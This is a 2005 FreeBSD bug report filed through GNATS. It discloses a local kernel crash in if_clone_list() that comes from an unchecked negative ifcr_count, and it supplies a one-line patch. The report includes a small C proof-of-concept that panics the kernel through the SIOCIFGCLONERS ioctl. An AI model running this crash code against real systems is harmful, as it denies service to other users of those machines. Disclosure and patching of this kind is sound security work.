From owner-freebsd-bugs@FreeBSD.ORG Sat Feb 19 21:50:10 2005 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5305116A4CF for ; Sat, 19 Feb 2005 21:50:10 +0000 (GMT) Received: from freefall.freebsd.org (freefall.freebsd.org [216.136.204.21]) by mx1.FreeBSD.org (Postfix) with ESMTP id EC55043D58 for ; Sat, 19 Feb 2005 21:50:09 +0000 (GMT) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.13.1/8.13.1) with ESMTP id j1JLo9FG070676 for ; Sat, 19 Feb 2005 21:50:09 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.13.1/8.13.1/Submit) id j1JLo9nf070675; Sat, 19 Feb 2005 21:50:09 GMT (envelope-from gnats) Resent-Date: Sat, 19 Feb 2005 21:50:09 GMT Resent-Message-Id: <200502192150.j1JLo9nf070675@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, "Wojciech A. Koszek" Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 309B416A4CE for ; Sat, 19 Feb 2005 21:43:38 +0000 (GMT) Received: from freebsd.czest.pl (silver.iplus.pl [80.48.250.4]) by mx1.FreeBSD.org (Postfix) with ESMTP id AA40943D2D for ; Sat, 19 Feb 2005 21:43:36 +0000 (GMT) (envelope-from dunstan@freebsd.czest.pl) Received: from freebsd.czest.pl (freebsd.czest.pl [80.48.250.4]) by freebsd.czest.pl (8.12.10/8.12.9) with ESMTP id j1JLn89r051574 for ; Sat, 19 Feb 2005 21:49:09 GMT (envelope-from dunstan@freebsd.czest.pl) Received: (from dunstan@localhost) by freebsd.czest.pl (8.12.10/8.12.9/Submit) id j1JLn8Mc051573; Sat, 19 Feb 2005 21:49:08 GMT (envelope-from dunstan) Message-Id: <200502192149.j1JLn8Mc051573@freebsd.czest.pl> Date: Sat, 19 Feb 2005 21:49:08 GMT From: "Wojciech A. Koszek" To: FreeBSD-gnats-submit@FreeBSD.org X-Send-Pr-Version: 3.113 Subject: kern/77748: [PATCH] Local DoS from user-space in if_clone_list() X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: "Wojciech A. Koszek" List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 19 Feb 2005 21:50:10 -0000 >Number: 77748 >Category: kern >Synopsis: [PATCH] Local DoS from user-space in if_clone_list() >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Feb 19 21:50:09 GMT 2005 >Closed-Date: >Last-Modified: >Originator: Wojciech A. Koszek >Release: FreeBSD 5.3-STABLE i386 >Organization: >Environment: System: FreeBSD dunstan.freebsd.czest.pl 5.3-STABLE FreeBSD 5.3-STABLE #0: Sat Feb 12 11:15:23 CET 2005 root@dunstan.freebsd.czest.pl:/usr/obj/usr/src/sys/HOME6 i386 -- kern.ostype: FreeBSD kern.osrelease: 5.3-STABLE kern.osrevision: 199506 kern.version: FreeBSD 5.3-STABLE #0: Sat Feb 12 11:15:23 CET 2005 root@dunstan.freebsd.czest.pl:/usr/obj/usr/src/sys/HOME6 -- kern.ostype: FreeBSD kern.osrelease: 6.0-CURRENT kern.osrevision: 199506 kern.version: FreeBSD 6.0-CURRENT #2: Sat Feb 12 10:43:18 UTC 2005 root@:/usr/obj/usr/src/sys/GENERIC -- >Description: Bug exists in /usr/src/sys/net/if_clone.c, function if_clone_list(). This function use arguments which has been transferred from user-space, with only partial validation tests. Thus, user may send malicious data causing system to crash (if_clone_list() is used when ioctl is called with SIOCIFGCLONERS on open socket as file descriptor). >How-To-Repeat: Attached code [if_clone_test.c] should panic your kernel: $ gcc if_clone_test.c -o if_clone_test $ ./if_clone_test >Fix: Attached patch [diff.0.if_clone.c] corrects this problem (-STABLE and -CURRENT). Patch should be tested. --- diff.0.if_clone.c begins here --- Patch against FreeBSD 5.3-STABLE, kern.osreldate: 503102. diff -upr /usr/src/sys/net/if_clone.c src/sys/net/if_clone.c --- /usr/src/sys/net/if_clone.c Sat Feb 12 09:36:35 2005 +++ src/sys/net/if_clone.c Sat Feb 19 20:25:21 2005 @@ -239,6 +239,9 @@ if_clone_list(struct if_clonereq *ifcr) struct if_clone *ifc; int buf_count, count, err = 0; + if (ifcr->ifcr_count < 0) + return (EINVAL); + IF_CLONERS_LOCK(); /* * Set our internal output buffer size. We could end up not --- diff.0.if_clone.c ends here --- --- if_clone_test.c begins here --- #include #include #include #include #include #include #include #include #include #include #include int main () { int s = 0, error = 0; int x; struct if_clonereq clr; s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); if (s == -1) errx(1, "Couldn't create socket"); clr.ifcr_count = -10; clr.ifcr_buffer = NULL; error = ioctl(s, SIOCIFGCLONERS, &clr); if (error != 0) errx(1, "Error while ioctl()"); close(s); exit(EX_OK); } --- if_clone_test.c ends here --- >Release-Note: >Audit-Trail: >Unformatted: